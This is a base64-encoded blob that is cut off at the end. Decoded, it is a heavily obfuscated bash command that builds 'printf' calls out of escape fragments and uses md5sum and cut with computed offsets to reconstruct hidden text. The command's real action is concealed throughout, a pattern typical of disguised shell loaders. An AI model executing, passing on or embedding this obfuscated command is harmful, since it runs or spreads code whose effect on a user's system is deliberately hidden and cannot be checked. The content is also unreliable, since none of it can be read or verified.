TYndCQnXDE0NicgICJceCQoICR7Kn0gICIiInAiciR7IUB9aVxuJycke0AsfXRmICAlcyAnTHlARyYsZScgIiR7QH59IiAgJHtALH0gIHwgICR7KiV1XF5PbX0gbWQiJHtALH0iNVxzJCdceDc1JyR7Ki8vJUF6R24jRi81dEBZfW0gICAiJHtAXl59IiAkeyovQDNQNi89XCFmfH0gIHwgJHsqLzteTHpcXXojL0l8VkU+fSAkJ1wxNDMnJ3UnJCdcdTAwNzQnICAtYiAgICRbICAgKC0oLSgyMiMiMSIiMiItLTQjMTIzKSs1JHsqXl59NSMkeyolJStFR0c3SVF9eikpICAgXS0kKCggKCgke0B9MiIjIiR7QC9ocnBlfTExKzMjMSIxIikrNCI4IiMiYSIpICkpICAke0BeXn0gICApIiAgJHsqfn59ICAgJiYgJHtALCx9ICAgcFxyJCdpXHUwMDZlJ1x0JHsqL1paO1dpLyp6N1NcKF8qWH1mICAiXHgkKCAgIiR7QCMjPmNsIz9ffSIgJHsqfn0gICBccCdyJ1xpXG50IiJcZiAgJXMgICAnZEBbNE4nICRAICB8ICAke0AvL1RrZzptXCEzfSAgbSdkJzVccyd1J20gICAiJHtALH0iIHwgICR7KiVcezpHNElUVn0gICQnY1x4NzUnJHtAI2ZBNXRZPDQxfXQgLWIgICRbICgoLTM0IiMiMisiMyIxIzEpKzIkeyovTFpcIT9IWj99NSMyKSAgIF0tJCgoICgoNiI0IiMkeyojMTNWVmNPfTEqMTMjMCkrJHtALy9GU21kRk5BLzI2XClsXF1DPX02IjQiIzIpICApKSAgJHtAL00taF8vWG1QLVZcIn0gICAiJEAiICAgKSIgICRAICAmJiAkeyolTDtOJVNYfSBwXHJpbiIidCQnXHg2NicgIlx4JCggICR7Ki8vbjh2TS9ibiZpVGRMfSBccCcncidpJyIiIm4iJyckeyp+fXQnJ1xmICVzICAnaU5AbSJ2JScgJHsqfSB8ICAkeyFAfSAgICR7KiVhYmFcKFwqJDN9IG0nJ1xkJFsgKCgkeyolJTY8a1xdVX0xNyMiMCIqMTEjMSkrMiIjIiIxIjAxKSAgIF1cc1x1XG0gICR7Kix9ICAkeyovP2Zufk9NXFwvPEYtcSp9ICAgfCAkKiAgJycke0B+fn1jdXQgLWIgICRbICgtKC0oIi0iOCMiMSIwKi0yIiRAIiMiMSIwMSkrMiQqIyR7QF5efTEwJHsqLy83ZzBaZC5SbS9RPl9sfTExKSkgIF0tJCgoICAoLSgtKC00JHsqLz4+XGBEL09wUU4uV1V9NCNjKiItIiIke0AvUTE7XCh9IjM1I2EpKyIxIiI5IiM0ZSkpICkpICAkeyovL0VlfG0veFxgYnJcfVxgfSAgICIke0AsfSIgICApIiAgICR7Ki87MDpXVVZlMC9pUmhFO30gJHsqXn0gICAmJiAgICR7Kn59IHByJydpJ24nJCdceDc0JyJmIiAgICJceCQoICIke0B+fSIgJ3AnJ3InJCdceDY5bidcdCQnXHUwMDY2JyAgJXMgJ15pQEInICAgJHsqXn0gJHsqXn0gIHwgJHshKn0gIG1kNSQnXHg3MycidSIkeyovLzgwSStcW015L15rQWFCXHtqOX1tICAgJHsqfSAiJHtAfSIgICB8ICAgJHsqfn0gJHsqJSVPakdmc1wofSAgYyJ1IicnJCdceDc0JyAgLWIgICRbICAoKC0zIjYiJHsqLy9hQz1Ddi9cYCxcKGF9IyR7QCVDXH1cfTlLNy59MiotNTkjMSkrJHtALy85b0tlaUo3Xi9JQSs/Sk1cWyt9NCIjIiR7KiMjMCRlLmRJRX0xJHsqfTEpIF0tJCgoICAoLSgtKDIiIyIxIjAiMCokeyolJVx9S3VFfTMkeyojWlRIXFtjdFZUfTcjMikrNSR7QF5efTMjJHsqIyN0XFd4M1xgfTApKSAgKSkgICQqICAkeyojI2tcYDJXfSApIiAgJHsqLzViXEtlLmM5fSAgJCogOyAgJHsqXn0gICIke0B+fn0iICIicCR7KiUlO1x7VGEyXChTcn1yXGkibiIke0B+fn10ZiAgICJceCQoICAgIiR7QF5efSIgICAkJ1x1MDA3MCciInIiImkkJ25cMTY0JycnZiAlcyAnOkxXKScgICR7Kn59ICAgJHsqJSV0S18rcTV9ICAgfCAke0AvL1ExNWFceS9BP05qOS59IG0iImQkWyAgICgoLSI0IjYiJHtALy86aEVBL1MmVWVzYiZ9IiMxLTMjMSIwIikrOCMxIjEiKSBdJCdceDczJ3VtICAgJHtALCx9ICB8ICAgJHsqfn59ICR7Ki8vOzhcXWN9IGN1IiJ0IC1iICAgJCgoICAgKCgzIiMiMTAqMyIwIiRAIzEpKyI0IiIjIjIkeyovZl4lSjExXCJYfTApICkpLSRbICAoLSgtKDMiIyIkeyp+fn0yMSske0AjIy5wJlx7RX0zJHsqIyN0QUZcIn01IyIke0B9ImkpKzI5IyJkIikpICBdICAkeyovO08kNGFrfSAgICR7Ki9vcmw1aH0gKSIgICR7Kix9ICRAICA7ICAgJHsqL1wiXGBRP1d0L1MuTHp9ICBwciIiaScnJCdcdTAwNmUnInQiIiIkJ1wxNDYnICAiXHgkKCAgJHtALy8kZ0xBOyRoS30gICAiJHtALzMkQldYXCkvdVo5Lixfan0icHJpbiIidFxmICVzICAgJ2MzdTVwMicgICR7QF59ICR7QCMjTWVcKS0/ei0tfSB8ICAke0B+fn0gICAke0B+fSBtXGQnNSdzJCdceDc1JyJtIiAgIiR7QCU4dUVwXFx9IiB8ICR7Ki8vXCEzMCYrTyptL3p2XChcW0F9ICR7Kn5+fSAgICQnXHg2MydcdSIke0AjI1wpWmJLfSJ0IC1iICRbICgoIiR7QCx9Ii0yMSMke0BeXn0yKi0yJHsqJSQxMlwhbV59OSMyKSszNyIke0AjI0VcKDRLclF9IiNkKSAgIF0tJCgoICAgKCgtIjIiIiMiMTEqLSIke0B+fn0iMiMxJHsqfn59MSkrIjQiIyIyIjEpICAgKSkgICIke0AjI3UxSSN8Yn0iICAgKSIgIiR7QCMjQitNZnElfSIgICAkeyp+fSA7ICAiJHtAI08zSF5ScjF9IiAiJHtAfn0iICR7QC8vTHJNeC9nQ2UsfXAkJ3JcMTUxJyIibnQnJ2YgICJceCQoICAgJHtAfn59ICAgJHtALH0gcCJyIiR7KiM4c24maH1pJycnbidcdGYgICAlcyAncSoxaFMjdk4nICAke0B+fSAkeyp+fn0gfCAgJHtAL1x9OFVySn0gICcnIm0iJHsqLCx9ZCc1J3N1JHsqLy83dWZyc0wvNlwpPE1GUFJ0fW0gJHsqJTRXXGAtfSB8ICAkeyovL3VTTlxgLzVqdGVfQEB9ICAkeyojRlxdS2ZMRW99IGMnJyQnXHUwMDc1J1x0ICAtYiAgJCgoICAoKC0zIzIiMiIrNDMiIyIxKSs1NiNpKSAgKSktJCgoICAoLSgtKDckQCMwLS0zIjYiIiMiaykrIjciIzExKSkgICkpICR7QF59ICAgKSIgICIke0AjOiNfaD1cXH0iICAgJiYgICAke0B9IHByJyckJ1x4NjknJyduJHtAXl59dFxmICAgIlx4JCggICR7QH0gJCogICAkeyojeTlHQlwhfXAkJ1x1MDA3MlwxNTEnJHsqLH1udGYgJXMgICAnY1ZxSScgICR7KiMjXHNWY21cIX0gICB8ICR7Ki8vUG16OyMvPXRwZjMufEx9ICAgIm0iIiJkJCc1XDE2MyciInVtICR7QF5efSAgIiR7QC8vY0hFXCI+Ly40VVwhfSIgIHwgICIke0B9IiBcYyQnXHUwMDc1dCcgIC1iICAgJCgoICAoKC01JHtAfn59MyMiMSIqLTUjMTEpKzIzIyJpIikgICkpLSQoKCAgICgtKC0oNCIke0AjIypfXyVIXH19IjIiIyJELSItIiI1IiR7KiUwVGFAI2E+Sn0zIiMiQSkrNDgjIjEiMikpICApKSAgJHtAfn0gKSIgICAkeyolJUNAVWlOJn0gJHsqLy8jcXNSYmJ9IDsgICAkeyosfSAgJHtALCx9ICAkeypeXn1wJCdceDcyaW4nInQiImYiICAgIlx4JCggICR7QC9kTzpwL3hcfUo8VH0gICAkeyosLH0gICAicCIncidpXG50ImYiICVzICAgJyxgZ0B8a30nICAgJHtAL1VrcUNJfSAgICR7QCwsfSAgIHwgJHshQH0gICAke0BefSAgICR7Kl59bVxkIiIkWyAgICgoLTI1IiMiJHsqJVd3aFx7fTIrMSI3IiIjIjApKzQke0AlXDdnY2t9IzEiJHtALzplVVpES30iMykgXSJzInVcbSAgICR7Ki8vMm06dVwpdlYvQWgsTH0gIHwgICQqICAgJCdcMTQzdSd0ICAtYiAgJFsgKCgxNyR7QC8vXF1UcHEvemVwPjt8NTt9I2MqJHtAXn0tNSR7Kl59IzEke0B9NCkrNTMjIjIidykgXS0kKCggICAoKCIzIiR7Kl59IzEyKzIxI2MpKzM0IiR7QH59IiMiJHtALCx9ImUpICkpICAiJHtALzl3JnNQcHozfSIgICApIiAgJHtALy9PLVRAfSAkeyovL0M/aTJMXyYvXCFLaU1nP019ICA7ICAiJHtAL0hAS1BkfSIgICAkeyojXCJcKEM5XF1ZXGBlfSAgIHByXGludGYgICJceCQoICIke0B9IiAgIHAnJ3Jpblx0ZiAgJXMgICAnUzlALScgIiR7QF5efSIgICQqIHwgICAkeyovbzRvcWhtay9cIVpqXCkxMn0gIG1kJFsgICgoNCI1IiIjIiIwIistNDMjMSkrIjIiIzExMCkgXXMiJHtAfn59InUiJHtAL08zfDFcUX0ibSAiJHtAI3NyMGEsVTZOfSIgICAiJHtALy83bkpcW2NrL0ksODdQfSIgfCAgIiR7QC95Pis8Zlx9ZlwofSIgICAkeyovLy1UJkB5XCh0L0I4S0lGfSAgIFxjIiR7QCVcW2FtVndAKn0idSR7Ki8vdno+XGBhTHJ5L2ZAXHtXVlp9dCAgLWIgICAkWyAoKCItIjIjMTEqMyMxIjAiKSsyJHsqJXZeNFhVfTMjMTMpIF0tJCgoICAoKC0iMSIiNSIjMSozIjQiIiMiMSkrNTYiIyJqKSAgICkpICAkKiAgKSIgICR7Kn5+fSAke0B9IDsgICAkeyosLH0gICAkeyp+fSAicCIkJ1wxNjInJ2knXG50ZiAgICJceCQoICAgJHsqLCx9ICAgIiIkJ1x4NzAnInIiJ2knJCdcMTU2dGYnICAlcyAnITdJfmFRJyAkeyFAfSAkKiAgIHwgJHsqIyNZQFx9fn0gJHsqfn1tJCdcMTQ0JycnXDUiIiQqcyJ1Im0gICAkKiAgJHsqLCx9ICB8ICAgJHshQH0gJHshQH0gICBjdSQnXDE2NCcgIC1iICAkWyAgICgtKC0oMzgjcis0IiR7QC8wQ1hCLyRJfF81UzVhfSI0IzFiKSs0MiMxYikpIF0tJFsgKCgtJHtALCx9MTQkeyojIyZWWUcxfSMzNSstNTYjaSkrIjIiMiMiNCI3KSAgXSAgICR7QC9ce1woZ3FZcjMvLGlcKWpcfWUufSAgIiR7QC8lLD1nZ2xiLn0iICAgKSIgICR7Kl59ICAgOyAgICR7QCU2Zm1ic0RRfSAgJHsqL1gsfkR3L0pfc199cCdyJ2kkeypefW5cdCcnJHtAIyNIPTlMJURpRn1mICAgIlx4JCggICIke0AlJSYtXF01dkl9IiAgJHtAXn0gICJwIiR7Kl59cmluIiR7QCMjMVxgTVM1XF12fSJ0ZiAlcyAgJ1FQQ3UnICAgJHtAL251d099ICAgfCAgJHsqI2pyMUNRfSAgIFxtIiIkeyosLH1kNVxzIiIkJ1wxNjUnJHsqfW0gJHsqfn0gJHsqXl59ICAgfCAgICR7Ki9uQ3JsJn0gJydjdSIke0AlXFFTPFxbLUF8fSJ0ICAgLWIgICRbICAoKCR7KiVcIk9SWFwpfTE0IiMiMiotMzkjMSkrNiIke0AvJm5LTH0iIyR7QC8vbnE+cS9VV05zJFx9QHN9MyIxIikgXS0kKCggKCgiMSI4IzAtJCoyIiR7QC9CXHtwR3ovXH0xR1QlfSIyI2QpKzYiJHtAXn0iMSMidiIpICApKSAgJHtAfn59ICkiICR7QF59ICAgJHshKn0gJiYgICAkeyolJSZUYyR9ICAke0AvL209XF1ofSAicCIkeyojXF1cIkBYK2d9ciQnXDE1MW4ndFxmICAgIlx4JCggICR7QCMjUDA3RHx9IHAkJ3JcdTAwNjknJyduJHsqXn10IiJmICAlcyAgJ198JjJ2S29HJyAkeypefSAgJHsqfSAgfCAgICR7Kn0gICR7Ki8vak5hMEtkL1xESSNVRHpofSBcbWQiIiQnXHgzNScnJ3MkJ1wxNjUnJydcbSAke0B+fn0gIiR7QH59IiAgIHwgICIke0AsfSIgIiR7QCUlOD0/LWZ0MD19IiAgIFxjdSR7KiNWS3hcPis+V310IC1iICAkWyAoKDMjMTAqJHsqfn0xOCMiMSIpKyQqMiIwIiNiKSBdLSRbICAoLSgtKDEyIyIke0AlXFtrS1xgZ1xgfSIyIjMiLSR7KiwsfS0xIjkiIzEiYiIpKzYyI0cpKSBdICIke0BeXn0iICkiICR7Ki9uVUhYeFR9ICAgJHtAL0YtVU1XVC81XF1cfVwoSFhuaH0gOyAgICIke0B+fn0iICAkeyovL01wfEw4YV9qL2RsXCFSViZAWX0gIHAncidcaSR7Kl59biR7QCV6JiY+KkJcXU59dCcnJHshQH1mICJceCQoICR7Ki8vfkR4JFZUXFt9ICAgIiR7QH0iICBccCR7Ki90dGsxcVxgd3kvVW5yVX1yJyckJ1wxNTEnJydcbiIke0AsLH0idCQqZiAgICVzICcjXXt+azM3JyAgICR7Kn59ICR7Kn59IHwgICR7Ki8vJHxcXWMvXGArNlU/fSBtJHsqLy9UNXpcInJhXH1SLz1YdytmLlZwfWQkKCggKCgtMTUjJHtALy92PEg4OzEvZXgsPVR9MSoyIjAiIzApKzIiIyIiMSIwMSkgICkpc1x1bSAgJHsqLy9nLSVLLGguJS8rXEMwfSAke0AlPXxaNSZ1fSAgfCAgICR7QCN0dzFzfSAgXGMndSd0IC1iICRbICAoKDQjMTIqJHsqXn0tMiIjIiIxIjAxKSsyNiIjIiIxIiJqIikgIF0tJCgoICgoLTMjMTAqNTEjMikrMyR7KiNUKztnYiNxfTgkeypeXn0jIm0iKSAgKSkgICIkQCIgJHsqJSU4K0hmYmt9ICkiICAkeyolJWVcKDJqPUh5fSAmJiAgJHsqLy92T3lcIn0gICAke0AsfSAgIiIkJ1x4NzBceDcyJyR7Ki8vekVHfCV4ZS9nNHN4fWluJCdcMTY0J1xmICJceCQoICAkeyovXFtVOCt9ICR7QH1wJydyJydpbiJ0IiIke0B+fSJmICVzICAgJ3sjUjJeJyAgICR7Kl59ICAgfCAgJHsqL1EwcTAwbzIvXChcW0ppQFh9ICAgJydcbVxkNSR7Ki8vQllWU3FnbEJ9c1x1bSAgICR7Kn0gfCAgICR7IUB9ICAiIiQnY1x4NzUnXHQgLWIgJFsgKC0oLSgiJHtAIyM5fD1TfSItJHsqXl59MiMiJEAiMTAkKjErIjIiNiR7ISp9IzFoKSs0MyMiZCIpKSAgIF0tJCgoICgtKC0oMiIke0B+fn0iNiQqIyR7Kn5+fTE1LS0yMyNhKSszIiR7QCMlXCkrcC59IjUjZikpICApKSAke0AjaXc/YzN6YWh9ICkiICAke0AsfSAmJiAgIiR7QCx9IiAgICIke0AjYyZBOX0iICAkeyolc1VmaUErfXByaScnbiJ0ImYgIlx4JCggICR7ISp9ICAgJHsqL3dJQFVZfSAgICR7QCwsfXAiciJpbnQnJydmJyAgICVzICc0OjdnRScgJHsqLy9vUzxcXVomNi8uX3E7fSAgIiR7QH5+fSIgICB8ICAkKiAgICR7Kl5efSBtZDVccyIiXHUnJydtJyAgICR7QH59ICB8ICR7KiUlbC1uS153fSAnJ2N1dCAgIC1iICAkKCggICAoLSgtKDMiNyIkeyosfSMwKzMjIjEiMCIwIikrIiR7QC81XHs9WVxbeC9RaFZpaVpcImt9IjUwIzEpKSAgKSktJFsgICgtKC0oIjYiMyR7Kix9I2QtLTMjMiR7Kn0yKSs1MiNjKSkgIF0gICAkeypeXn0gKSIgICR7IUB9ICAke0AsfSAmJiAgJHsqL3lNanBnLyQwbElBT30gICIke0AjTCpcIi5GNit9IiAgJydwcmluJCdcdTAwNzQnJCdcdTAwNjYnICJceCQoICR7KiwsfSAgICR7Kn5+fSAgIFxwJyckJ1x1MDA3MmknIiInbicidCJmICVzICAnUShVZycgJHtAL1wia0Rce1wheEd9IHwgICR7QCUlJnN6TipPfSAgICcnJCdceDZkZCciJHtALy8/ZVY3fSI1IiR7QC8vVnVOV2t9InMkJ1x1MDA3NScibSIgICQqICAgIiR7QCx9IiAgfCAke0AsLH0gIiRAIiAgICQnXDE0MycidSIkeyojI1NcW1xjen10IC1iICAgJCgoICAoLSgtKDE3I2MtLTgjMSIke0B+fSI3KSs1NyNoKSkgICApKS0kWyAoLSgtKC0keyovIz9Tai9fZCZmLH01IzEzKzUiNiIiJHtAXl59IiMke0BefW0pKzMiIyIiMSIwKSkgIF0gJHsqIyNzeH5PfSApIiAgIiR7QCx9IiAgJHtAIzhOYS19IDsgJHsqI1xyblpvKn0gICAkeyp9ICJwIiIke0BeXn0icmknbicidCJmICAgIlx4JCggJEAgICR7IUB9ICAgcFxyXGkkJ1x1MDA2ZVwxNjQnZiAgICVzICAgJ0VkZld2SicgICAkeyovL1xgKlwiVE8sWXJ9ICAkeyovL0doYnlRXisvXGc1dH0gfCAgJHsqIyM/LE5iYn0gIm0iJCdceDY0NSdccyR7Ki8vXHswJVF9dSJtIiAgICR7QCVXXCFPXCF9IHwgIiR7QCMrPTk5fSIgIGMnJyQnXHUwMDc1JycnJCdceDc0JyAgIC1iICAkWyAgKCgtMyMxMSszIzEwKSs0IyR7KiUlXGBVZ1xgO1xdXH1cKX0xMikgXS0kKCggKCgzIyR7KiVQcTZKXGB9MTAqNDUiIyIxKSsiJHtALH0iMyMxMCkgICkpICAgJHtALypsXGBcKC9cIUpfVmlcIn0gICkiICR7KiVlR2doR1lpJX0gIiR7QF5efSIgICYmICAgIiR7QH59IiBwJHsqfXIkJ1x4NjknbnRmICAiXHgkKCAkKiAgJHsqfSBccFxyIiJpJCdcMTU2JyQndFx1MDA2NicgICVzICAnIVJMeUpvJyAgICR7Ki9KTGsqdHIvOHlcYFp9ICR7KiN5OGNcfXBLZk19IHwgICR7Ki87XCg0a30gICJtImQ1JHsqLy8sYnlcIn1zdScnXG0gICAke0B+fSAgIHwgICAkeyojI1NWQWhcfWxiXCl9ICJjInUkeyEqfXQgICAtYiAkWyAoKDYyIiR7QCUlPiNien0iIyIwIioiNSIiMSIjIjAiKSskeyp9MjAjMSkgXS0kKCggICgoLSIzIjUiJHtAfn0iIzEqIiR7QCNBVTNuYXF9IjI4IyIke0B+fSIwKSs0NyMyKSAgKSkgJHsqLy9WSlwiXFtXJX0gICAke0AvL09YRm0vWj1US3IlcUp9ICApIiAke0AlJT5qJCNROD99ICAgIiR7QH0iICAgJiYgJHtAJSV6dXpAfSAkeypefSAgIHAiciJpbiIiJHsqLCx9dCIiJHsqXn1mICJceCQoICAgJHsqLH0gJHsqfn59ICAgJCdcMTYwJyIiciR7QC8kTSpNQmhPfWluXHQkJ1x4NjYnICAlcyAgICddeU97NScgIiR7QC8vVGY+XHtSL1N4N15HbUE8fSIgJHsqfn0gIHwgICIke0AjI1pcfWlJfSIgJHsqI2wycypFdmh9ICIibSJkIicnNSQnXDE2M3UnbSAke0AvYXZ+R30gICAkeypefSAgfCAkeyp+fSAkJ1wxNDN1JyQnXDE2NCcgICAtYiAgICQoKCAoLSgtKDYxIyJqIi0tIjYiMSNwKSs2JHtAIyN2dVxbWkloRn0wIyR7KiwsfWkpKSApKS0kWyAoKC0zIzExMTErMyMkeyovUzRZSj9DMH0xJHsqXn0wKSs1IyR7Kn0yMiI0IikgICBdICIke0AvYUhxT0xfaF8vXCFJTGhqXClDfSIgJHsqLy9UTlpWJX0gICkiICR7KiMjK1pYcH0gICR7Kn5+fSAgJiYgJHsqJSVEVUhQcEosSn0gICAiJHtAJVwhNUQrPGQtLn0iICAgcHJpIiR7QCMjTnlRS30ibnQnZicgIlx4JCggIiR7QCUlXGZQT0l9IiAkeyp+fn0gICcnJCdwXHUwMDcyXDE1MSdudCJmIiAgJXMgICciXH1zJyAgICIke0B9IiAgJHsqJSVcYFhZMHV+Rn0gIHwgIiR7QCwsfSIgICAkeyovXCNJMzdQaDYvcjI2Z0NcInN9ICAgJydtZCQnXHUwMDM1JyQnc1x4NzVtJyAgJHsqXl59IHwgJHtAfn59ICIke0BefSIgIGMke0AsLH11IiJ0ICAtYiAgICRbICAgKC0oLSgtIjQiIjAiIiR7QH0iI2EqLTYiMCIiIyIiYSIpKzQ1IzEke0AvWkRhWWd2d3Z9cCkpICAgXS0kWyAoKCItIjMjMSIxIiR7QC90N0wkRmpBMH0xMCsiLSIiOCIke0AlJW5CWmkwfSMkeyojI2p4cVc7dX0xNykrJHsqL2xaXGBzfTMjMTAiMCIxMSkgIF0gIiR7QCx9IiAke0B+fSAgKSIgICAkeyp+fn0gIDsgICAke0B+fn0gJHtAIyNzOCR5PiN9IHAnJ3JpJCdcdTAwNmUndCJmIiAgIlx4JCggJHtAL0hBbWpCZn0gJHsqXl59ICBwJCdcMTYyJ1xpXG4nJ3QiZiIgICVzICAndTtXMXx4MXUnICAgJHtALy9iN1Y8Pn0gfCAke0AvL1NaRTw8Z3JifSBtZDVzXHVcbSAgJEAgICR7Ki9tekxYPm5ZL1xdOFxgR3Z9IHwgJHsqXn0gIGMkJ1x4NzUnJyd0ICAgLWIgICAkWyAgKCgiLSIiMyIjJHsqfn59MTAqMyMxIjAiKSsiJHtAIyNZXHteM2RcYDN9IjExIzE3KSAgXS0kKCggKC0oLSgiMyI1I2otLTMjIjEiMCkrMyI0IiIjImMpKSAgICkpICR7Ki98I0JALzlFVzc0Z1p9ICkiICAgJHtAL3JJc1wobWhTPn0gICAke0AjWl9YVCMzOn0gICAmJiAgICIke0AsLH0iICAgJHsqXl59IHByJyckJ1x1MDA2OW4nJ3QnImYiICAiXHgkKCAkeyovL3wyXGBIen0gICR7QH1wciQnXHUwMDY5J24ke0BefXRmICVzICdjUX0yfScgICAiJEAiICAkeyovSlxfeksvMS03QVNIQW59ICB8ICAgJEAgICAke0AvL1x7LSppbUB9ICAgbSdkJyQnNVwxNjN1JyJtIiAgICR7QH5+fSAgfCAiJHtALy9mcyx+XCF9IiAgIiR7QCMjXFtJJkFtU3dLfSIgJydcYyIiJCdcMTY1dCcgIC1iICAgJFsgICgoLTQiMiIiIyIkeyovLz9hMlwoMH0yKzQ4I2EpKzQ0JHsqI1xXJlxbQy59I2spICAgXS0kWyAgKC0oLSgtJHtAfn59NiMxMC0iLSIiNSIyJHsqLy9VMzlIby9zOnlcIk19IzEkeyojI08uTnZUWX0wKSsxIjYiIiMiMTEpKSBdICAgJHtALy92fmt8QT83fSAgICkiICAiJHtAXl59IiAmJiAgICRAICAgIiR7QCNMcU16fSJwXHIiIiR7Kl5efWlcbiQnXHUwMDc0ZicgIlx4JCggJHsqJTYxcy1BOlwhfSAgICR7Kl5efSAkJ3BcMTYyJyIiImkiIiIkJ1wxNTYnIiJ0ZiAgJXMgJ1EyQy0je3EnICAgJHsqfSAgICR7Ki8vMzVHWVxgXChaWn0gfCAgJHsqXn0gICBcbWQkKCggICAoLSgtKDgjIjEiMC0tIjMiNyMxKSsyIzEwIiR7QC8vJit+XHsvTyVmO019IjApKSApKVxzdVxtICAke0BefSAgfCAgICR7Ki8vaXZWTU1WMy96Wm9tfSAkeypefSAgIGN1XHQgICAtYiAgICQoKCAgKCgiLSIke0AvZFlUcmU7VS8/MC1ce300NyNpKyIyIjIjZykrNSMkeyojI0tET2dGQ3B0fTEwMSkgICApKS0kWyAgKCgiLSIyMyNhKyR7Kl5efS05IiR7QH5+fSIjJHtAXl59MTApKzYjIjEiIjEiJHsqLCx9MikgIF0gICAkeyFAfSAgICR7Ki9hLnhMXFs6US9tUnN1QFxbOVF9ICApIiAgICR7KiNxLVx9ciVtfSAkeyp+fn0gIDsgICAkeyojd1dce3J3R059ICAkJ1wxNjAnXHIiJHtAL2M5WHZEfSJpXG4iIiIke0AjI1wpPlxbO1pBfSJ0ZiAgICJceCQoICAgJHsqfn0gICBwcmluJHshQH10JHsqJSVcYEZrakt9ZiAlcyAnRjhUfCcgJHsqLyxqc19zL3FINnI0cX0gfCAgJHsqfn59ICAkeyojI09ce2NLWlx2fSBtJ2QnXDVccyJ1Im0gICR7KiV6PFwoc2UuVjF9ICAkeyovej1qN1huJi9EfGJ5LFxdJX0gfCAkeyovX15eYm5JL2VwPmxxVX0gIFxjXHV0IC1iICAkWyAgICgtKC0oJHsqLH00NyNrKzQkeyFAfTciIyJwKSs0MyMibyIpKSAgIF0tJFsgICAoKDE2IzE0LTQ5I2EpKzY0I2MpICBdICR7QC9+S1x7N1hvLysweUlWfSAgJHsqLy9MKz5cMn0gICApIiAgJCogJiYgICIkQCIgICAiJHtAJW1WdGZ9IiAgIFxwciR7Kl59aW50JCdcdTAwNjYnICAgIlx4JCggICAiJHtAfn0iICR7QH5+fSBwJCdyXHg2OScnbid0JHsqL01cXTp6Wi9cKCVWTH1mICAgJXMgICAnek9zST5mJyAgICR7Kl59ICAgfCAkeyovTFxbQ18uVnp9ICAiJHtAXn0iICAgbWQkeyp+fn01XHMndSdtICIke0B+fSIgIHwgICAkeyp+fSAkeyEqfSAgYyQnXHg3NXQnICAtYiAgICRbICgoJHsqLy9UVj95L1RNNEZ9LTIkeyojI355PlV9NiMibSIrMzYjInIiKSsiNCI0I2IpICBdLSRbICAoKCIzIjUjMCoiMiIkeyp+fn03IzEpKzExIyR7KiNfdCVUdFx9fTEiNiIpIF0gICR7QC8vTVpaZlwhXCFlNH0gKSIgJHsqJSVxVjZSfSA7ICR7Ki8vOUsrflxbL15CNU99ICAgcHIkJ1x4NjluJyIiJCdceDc0JydmJyAgIlx4JCggICAiJHtAJTwlPld1Tll9IiAgcFxyXGluJyckJ1x1MDA3NGYnICAlcyAnbGFwOicgICIke0AsLH0iICB8ICIke0AjPVdfXCh9IiBcbSIiJCdcMTQ0NXMndW0gICIke0AvL0tjfCZHfSIgIHwgICAke0B+fn0gICR7QH0gJCdjXHg3NXQnIC1iICAkKCggICgoLSIzIjQjMSotMyMxMSkrNDUjJHsqL0xCK2pTTHw1fW4pICApKS0kKCggKCgiMyIiMiIjZSoiJHtALy9ndTw6YWYvLWpcW1xgfSItNSMxMikrNjEjIjIiNCkgKSkgJHtAfn0gICAkeyolczlJJH0gICApIiAkeyEqfSAgJiYgICIke0AsLH0iICR7KiNcXUFWJUV8fSAgInAiclxpbicnXHQkJ1x4NjYnICJceCQoICR7Kl59ICAke0AvXCJvPlwiL0xMekZ9ICAgcCcnJCdcMTYyJ2luIiIndCciIiQnXDE0NicgICAlcyAgJ1MtbH5Ialo6JyAgIiR7QF59IiAgIHwgICAkeypeXn0gICBtZDVzdScnbSAkeyEqfSAgIiR7QH0iIHwgICR7Ki9lXCklalx7aC9CQ2NcKExAfSAgJHsqLH1jJ3UndCAgLWIgJFsgICAoKCItIjYyIiR7QH0iI2wrLTYjMTEpKyI0IiIke0AlXlkwcHI2bH0iOSNFKSAgIF0tJCgoICgoMTEkeyolJSY/XClUfSMke0AsfTEqIjMiJHtAJSU6RnhcIX03IyR7Kn5+fTEpKyI0IiI2IiNjKSAgICkpICAkeyolJUZPOD1QfSAkeyFAfSAgKSIgICR7Ki8vR01LMEpcWzxcYH0gOyAiJHtAJTRYMVZJXCF9IiAgJHsqXl59ICBwcidpJyR7QH1udFxmICAiXHgkKCAgICR7QF5efSAgJHshKn0gICAnJ3AnJyQnXHg3MidcaW4ndCdcZiAgICVzICdecDB7JyAgJHshKn0gJHtAXn0gIHwgICR7QH0gJHtALy9weldJcS9hMWdGfSAgIiIkeyolNFd+N3x9bWQkWyAgKCg3IiMiMSIxIi0zIiMiMTIpKzQyIzIpICAgXXNcdW0gICAkQCAgJHtAJSUtU34jRjU4K30gfCAgJCogICBjJCdcdTAwNzUndCAgIC1iICAkKCggICAoLSgtKDI1IzFtLS03IiMiNjYpKyR7Kn0zNyMkQDF0KSkgICkpLSRbICgtKC0oLTMiIyIiMiIyLS0zMiMkeypefTFhKSs0IzEwKSkgIF0gJHsqIytcLD59ICkiICAkeyovXH1RPlwhaXgqL2dwNEB0UFwpeX0gICA7ICAgJHsqIyNBXGA4Lm52cDx9ICAgJHtALy9ce3M9U0dUfSAicCIiIiQnclwxNTEnIiJudCR7ISp9ZiAgIlx4JCggICAiJHtAIyNvMnkkejBPfSIgICR7Kn59ICAkeyFAfXByJyciaSIkJ25cdTAwNzQnJydmICAgJXMgICcsaWcsdycgICAkeyovL1IraFl9ICB8ICAgIiR7QCwsfSIgICAiJHtAfn0iICAgbWQ1c3VtICAgJHsqL3QlO2pCLX0gfCAiJEAiICR7Ki9STzJHSSROO30gICIiImMiJHtAfn11JCdceDc0JyAgLWIgICAkKCggICAoKC0zNSIjImctMiMxJHtALCx9MDApKyR7ISp9MjEjIjIiMCkgKSktJCgoICAgKCgtNSMyKjIjMTEpKzE1JHtALCx9IzEiZSIpICAgKSkgIiRAIiAgICR7QH5+fSAgKSIgICAkQCAgICYmICR7KiwsfSAgJHsqXl59cHIiIidpJ25cdGYgICJceCQoICAke0AlJVVyKkM0fSAgICR7Kn59ICAiJHtALH0icFxyJ2knbnRmICAgJXMgJy1KO1AnICIke0AvLGhBY1dRfSIgfCAiJHtAJSUjTENsOH0iICR7Kn5+fSAgbScnJCdceDY0JyRANVxzdSIiJCdceDZkJyAiJHtAXl59IiAgfCAkeyovX1woXH0kOC88NjdMNTh9ICR7KiN5PFpQayosVn0gICAnJyQnXHg2Myd1JHsqfXQgLWIgICAkKCggICAoLSgtKC0yMiMxLS03IzEiMSIpKyIyIiR7Kix9IzEkeyovXi5RS1xmOy9AXCkmMHw+XGAmfTEpKSApKS0kKCggKCgtJHsqIyMyS1xbdVVFfTMkeyosfSMxIjEiKyItIjU3JHtAJSVQb1x7OzsqfSMkeyovSjBR